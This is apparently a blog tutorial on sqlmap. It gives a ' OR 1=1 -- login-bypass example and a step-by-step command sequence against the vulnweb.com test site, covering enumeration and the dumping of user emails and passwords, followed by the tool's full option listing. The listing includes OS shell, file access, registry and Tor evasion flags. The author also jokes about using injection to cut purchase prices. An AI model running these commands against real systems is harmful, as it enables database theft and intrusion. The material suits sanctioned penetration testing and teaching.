Here I plan to take a look at sqlmap and the capabilities that it provides in order to identify weakness in security so that this weakness can be addressed before a breach occurs. The tool sqlmap, like many tools, can both be used for good and bad depending upon the role of the individual. I approach this tool as a mechanism to perform penetration testing in order to uncover the vulnerabilities that otherwise may go unnoticed. If you are not sure what sqlmap is the best way I can define this tool is that it is an open source penetration tool that automates the process of detecting and exploiting SQL injection flaws and possibility taking control over the database services. The databases sqlmap supports are MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase and SAP MaxDB database management systems.
Of course there are so many features of sqlmap that it would take a great deal of time to cover them all. For the purpose of this article, I will focus on gaining visibility to a given database and this visibility includes tables, columns, user accounts, database roles, and of course the data. The more advanced features includes the following actions:
- Recognizing and cracking password hashes
- File uploads and downloads
- Command execution
Root Cause Analysis
I am always amazed that SQL injection remains with the OWASP Top Ten year after year. Think about this for a moment and really consider what the root cause may be surrounding this vulnerability. In many ways, I blame the academic institutions because it is not enough today to teach theory and basic development practices. I believe that much more focus needs to placed on secure software development. In fact, education mirrors our daily lives in the sense that the habits we develop while in school follow us far into employment opportunities.
For those that are either starting out in software development and even those veterans I strongly encourage you to take the time to ready Troy Hunt’s article titled Everything you wanted to know about SQL injection (but were afraid to ask). Troy does a great job covering this topic and even for those of us who understand the risks it is always worth revisiting this subject from time to time to see what others have learned. At the end of the day we are a community and as such we all share in the responsibility in both education and ensuring the software we write is as secure as possible at that point in time.
Of course you could always go old school. For example, if we have a login form that requests a username and password you could simply enter ‘ OR 1=1 – into the username field. by doing so the following SQL statement is executed.
SELECT * FROM users WHERE username = ?' OR 1=1 — 'AND password = '?
At the end of the day because of the use of “–” the statement that executes results in a 100% valid query which is
SELECT * FROM users WHERE username = '' OR 1=1
The Simplicity of sqlmap
The first thing I want to do is see if the website at http://testaspnet.vulnweb.com/ is vulnerable to SQL injection. To do this we need to run the following command:
sqlmap –u http://testaspnet.vulnweb.com/ReadNews.aspx?id=2
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The result yields that the parameter of id is in fact injectable. Since at this point the back-end database may be Microsoft SQL Server we are prompted to perform further testing. Go ahead and select yes.
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At this stage I have captured some very telling information concerning the target. For example, I now know the operating system, application server, and the database platform.
- web server operating system: Windows 2003
- web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
- back-end DBMS: Microsoft SQL Server 2005
This in itself is interesting from the point of view that you should pull out your notebook and document this information should you decide to launch other type of attacks.
Turning our attention back to the database we now know that the database itself is both SQL Server 2005 and vulnerable to injection. At this point the following command will be executed in the hopes of determining what databases are available.
sqlmap –u http://testaspnet.vulnweb.com/ReadNews.aspx?id=2 --dbs
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Okay, now we clearly have found a number of databases. If we now dig just a little deeper we want to see what type of table structure is in place. To do this I will take the acuforum database. Go ahead and run the following command:
sqlmap –u http://testaspnet.vulnweb.com/ReadNews.aspx?id=2 --tables -D acuforum
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Bingo! We now have gathered a listing of tables. So at this point we clearly going to transverse the database much like walking through unlocked doors in a building. Of course the goal here is the data because we all know that data is the pot of gold at the end of the rainbow. Logically the next step is to look at the column structure of a given table. In this case we will target the users table. Go ahead and run the following command:
sqlmap –u http://testaspnet.vulnweb.com/ReadNews.aspx?id=2 --columns -D acuforum -T users
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Moving onto that elusive pot of gold, which of course is data, it is time to run the next command that will dump the data. Go ahead and run the following command:
sqlmap –u http://testaspnet.vulnweb.com/ReadNews.aspx?id=2 --dump -D acuforum -T users
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Bingo! We now have access to the data which provides us the email addresses and passwords of the users. Of course this simply demonstrates that capability. Consider for a moment that you were looking to purchase a product and you did not want to pay full price. Well if you are creative you may think of ways to reduce the price to what you feel is a fair price.
Other Examples
Retrieve the database banner:
sqlmap –u http://testaspnet.vulnweb.com/ReadNews.aspx?id=2 -b
Remember earlier that we determined that the target database? Well now we know the OS platform is not only Windows 2003, but the OS is also a X86 architecture running service pack 2. This is important so we do not waste time looking for exploits that were patched via SP2.
- Microsoft SQL Server 2005 – 9.00.3042.00 (Intel X86) Feb 9 2007 22:47:07 Copyright (c) 1988-2005 Microsoft Corporation Express Edition on Windows NT 5.2 (Build 3790: Service Pack 2)
Retrieve the current database user:
sqlmap –u http://testaspnet.vulnweb.com/ReadNews.aspx?id=2 --current-user
At this stage we have the account which the database is operating under. This account is acunetix.
Retrieve the server’s hostname:
sqlmap –u http://testaspnet.vulnweb.com/ReadNews.aspx?id=2 --hostname
The hostname is VPS19760.
Retrieve roles and privileges:
sqlmap –u http://testaspnet.vulnweb.com/ReadNews.aspx?id=2 --privileges --roles
Once again we have gathered interesting facts:
database management system users privileges:
[*] acunetix
[*] sa (administrator)
database management system users roles:
[*] acunetix
[*] sa (administrator)
Execute a query:
sqlmap -u http://testaspnet.vulnweb.com/ReadNews.aspx?id=2 --sql-query="select getdate();"
This will demonstrates that you can also run your very own query. While I simply used getdate(), the idea is that you could query for what is of interest to you. This also tells me that the server resides in a completely different time zone and I know this because of the eight hour difference. I suppose the clock could simply be wrong.
select getdate();: ‘Aug 10 2013 1:32AM’
Usage
Usage: python sqlmap.py [options]
Options:
-h, –help Show basic help message and exit
-hh Show advanced help message and exit
–version Show program’s version number and exit
-v VERBOSE Verbosity level: 0-6 (default 1)
Target:
At least one of these options has to be provided to set the target(s)
-d DIRECT Direct connection to the database
-u URL, –url=URL Target URL (e.g. “www.target.com/vuln.php?id=1″)
-l LOGFILE Parse targets from Burp or WebScarab proxy logs
-m BULKFILE Scan multiple targets enlisted in a given textual file
-r REQUESTFILE Load HTTP request from a file
-g GOOGLEDORK Process Google dork results as target URLs
-c CONFIGFILE Load options from a configuration INI file
Request:
These options can be used to specify how to connect to the target URL
–data=DATA Data string to be sent through POST
–param-del=PDEL Character used for splitting parameter values
–cookie=COOKIE HTTP Cookie header
–cookie-del=CDEL Character used for splitting cookie values
–load-cookies=L.. File containing cookies in Netscape/wget format
–drop-set-cookie Ignore Set-Cookie header from response
–user-agent=AGENT HTTP User-Agent header
–random-agent Use randomly selected HTTP User-Agent header
–host=HOST HTTP Host header
–referer=REFERER HTTP Referer header
–headers=HEADERS Extra headers (e.g. “Accept-Language: fr\nETag: 123″)
–auth-type=ATYPE HTTP authentication type (Basic, Digest or NTLM)
–auth-cred=ACRED HTTP authentication credentials (name:password)
–auth-cert=ACERT HTTP authentication certificate (key_file,cert_file)
–proxy=PROXY Use a HTTP proxy to connect to the target URL
–proxy-cred=PCRED HTTP proxy authentication credentials (name:password)
–ignore-proxy Ignore system default HTTP proxy
–tor Use Tor anonymity network
–tor-port=TORPORT Set Tor proxy port other than default
–tor-type=TORTYPE Set Tor proxy type (HTTP (default), SOCKS4 or SOCKS5)
–check-tor Check to see if Tor is used properly
–delay=DELAY Delay in seconds between each HTTP request
–timeout=TIMEOUT Seconds to wait before timeout connection (default 30)
–retries=RETRIES Retries when the connection timeouts (default 3)
–randomize=RPARAM Randomly change value for given parameter(s)
–safe-url=SAFURL URL address to visit frequently during testing
–safe-freq=SAFREQ Test requests between two visits to a given safe URL
–skip-urlencode Skip URL encoding of payload data
–force-ssl Force usage of SSL/HTTPS
–hpp Use HTTP parameter pollution
–eval=EVALCODE Evaluate provided Python code before the request (e.g. “import hashlib;id2=hashlib.md5(id).hexdigest()”)
Optimization:
These options can be used to optimize the performance of sqlmap
-o Turn on all optimization switches
–predict-output Predict common queries output
–keep-alive Use persistent HTTP(s) connections
–null-connection Retrieve page length without actual HTTP response body
–threads=THREADS Max number of concurrent HTTP(s) requests (default 1)
Injection:
These options can be used to specify which parameters to test for, provide custom injection payloads and optional tampering scripts
-p TESTPARAMETER Testable parameter(s)
–skip=SKIP Skip testing for given parameter(s)
–dbms=DBMS Force back-end DBMS to this value
–dbms-cred=DBMS.. DBMS authentication credentials (user:password)
–os=OS Force back-end DBMS operating system to this value
–invalid-bignum Use big numbers for invalidating values
–invalid-logical Use logical operations for invalidating values
–no-cast Turn off payload casting mechanism
–no-escape Turn off string escaping mechanism
–prefix=PREFIX Injection payload prefix string
–suffix=SUFFIX Injection payload suffix string
–tamper=TAMPER Use given script(s) for tampering injection data
Detection:
These options can be used to customize the detection phase
–level=LEVEL Level of tests to perform (1-5, default 1)
–risk=RISK Risk of tests to perform (0-3, default 1)
–string=STRING String to match when query is evaluated to True
–not-string=NOT.. String to match when query is evaluated to False
–regexp=REGEXP Regexp to match when query is evaluated to True
–code=CODE HTTP code to match when query is evaluated to True
–text-only Compare pages based only on the textual content
–titles Compare pages based only on their titles
Techniques:
These options can be used to tweak testing of specific SQL injection techniques
–technique=TECH SQL injection techniques to use (default “BEUSTQ”)
–time-sec=TIMESEC Seconds to delay the DBMS response (default 5)
–union-cols=UCOLS Range of columns to test for UNION query SQL injection
–union-char=UCHAR Character to use for bruteforcing number of columns
–union-from=UFROM Table to use in FROM part of UNION query SQL injection
–dns-domain=DNS.. Domain name used for DNS exfiltration attack
–second-order=S.. Resulting page URL searched for second-order response
Fingerprint:
-f, –fingerprint Perform an extensive DBMS version fingerprint
Enumeration:
These options can be used to enumerate the back-end database management system information, structure and data contained in the tables. Moreover you can run your own SQL statements
-a, –all Retrieve everything
-b, –banner Retrieve DBMS banner
–current-user Retrieve DBMS current user
–current-db Retrieve DBMS current database
–hostname Retrieve DBMS server hostname
–is-dba Detect if the DBMS current user is DBA
–users Enumerate DBMS users
–passwords Enumerate DBMS users password hashes
–privileges Enumerate DBMS users privileges
–roles Enumerate DBMS users roles
–dbs Enumerate DBMS databases
–tables Enumerate DBMS database tables
–columns Enumerate DBMS database table columns
–schema Enumerate DBMS schema
–count Retrieve number of entries for table(s)
–dump Dump DBMS database table entries
–dump-all Dump all DBMS databases tables entries
–search Search column(s), table(s) and/or database name(s)
-D DB DBMS database to enumerate
-T TBL DBMS database table to enumerate
-C COL DBMS database table column to enumerate
-U USER DBMS user to enumerate
–exclude-sysdbs Exclude DBMS system databases when enumerating tables
–start=LIMITSTART First query output entry to retrieve
–stop=LIMITSTOP Last query output entry to retrieve
–first=FIRSTCHAR First query output word character to retrieve
–last=LASTCHAR Last query output word character to retrieve
–sql-query=QUERY SQL statement to be executed
–sql-shell Prompt for an interactive SQL shell
–sql-file=SQLFILE Execute SQL statements from given file(s)
Brute force:
These options can be used to run brute force checks
–common-tables Check existence of common tables
–common-columns Check existence of common columns
User-defined function injection:
These options can be used to create custom user-defined functions
–udf-inject Inject custom user-defined functions
–shared-lib=SHLIB Local path of the shared library
File system access:
These options can be used to access the back-end database management system underlying file system
–file-read=RFILE Read a file from the back-end DBMS file system
–file-write=WFILE Write a local file on the back-end DBMS file system
–file-dest=DFILE Back-end DBMS absolute filepath to write to
Operating system access:
These options can be used to access the back-end database management system underlying operating system
–os-cmd=OSCMD Execute an operating system command
–os-shell Prompt for an interactive operating system shell
–os-pwn Prompt for an out-of-band shell, meterpreter or VNC
–os-smbrelay One click prompt for an OOB shell, meterpreter or VNC
–os-bof Stored procedure buffer overflow exploitation
–priv-esc Database process’ user privilege escalation
–msf-path=MSFPATH Local path where Metasploit Framework is installed
–tmp-path=TMPPATH Remote absolute path of temporary files directory
Windows registry access:
These options can be used to access the back-end database management system Windows registry
–reg-read Read a Windows registry key value
–reg-add Write a Windows registry key value data
–reg-del Delete a Windows registry key value
–reg-key=REGKEY Windows registry key
–reg-value=REGVAL Windows registry key value
–reg-data=REGDATA Windows registry key value data
–reg-type=REGTYPE Windows registry key value type
General:
These options can be used to set some general working parameters
-s SESSIONFILE Load session from a stored (.sqlite) file
-t TRAFFICFILE Log all HTTP traffic into a textual file
–batch Never ask for user input, use the default behaviour
–charset=CHARSET Force character encoding used for data retrieval
–crawl=CRAWLDEPTH Crawl the website starting from the target URL
–csv-del=CSVDEL Delimiting character used in CSV output (default “,”)
–dump-format=DU.. Format of dumped data (CSV (default), HTML or SQLITE)
–eta Display for each output the estimated time of arrival
–flush-session Flush session files for current target
–forms Parse and test forms on target URL
–fresh-queries Ignore query results stored in session file
–hex Use DBMS hex function(s) for data retrieval
–output-dir=ODIR Custom output directory path
–parse-errors Parse and display DBMS error messages from responses
–pivot-column=P.. Pivot column name
–save Save options to a configuration INI file
–scope=SCOPE Regexp to filter targets from provided proxy log
–test-filter=TE.. Select tests by payloads and/or titles (e.g. ROW)
–update Update sqlmap
Miscellaneous:
-z MNEMONICS Use short mnemonics (e.g. “flu,bat,ban,tec=EU”)
–alert=ALERT Run shell command(s) when SQL injection is found
–answers=ANSWERS Set question answers (e.g. “quit=N,follow=N”)
–beep Make a beep sound when SQL injection is found
–check-waf Heuristically check for WAF/IPS/IDS protection
–cleanup Clean up the DBMS by sqlmap specific UDF and tables
–dependencies Check for missing (non-core) sqlmap dependencies
–disable-coloring Disable console output coloring
–gpage=GOOGLEPAGE Use Google dork results from specified page number
–identify-waf Make a through testing for a WAF/IPS/IDS protection
–mobile Imitate smartphone through HTTP User-Agent header
–page-rank Display page rank (PR) for Google dork results
–purge-output Safely remove all content from output directory
–smart Conduct through tests only if positive heuristic(s)
–wizard Simple wizard interface for beginner users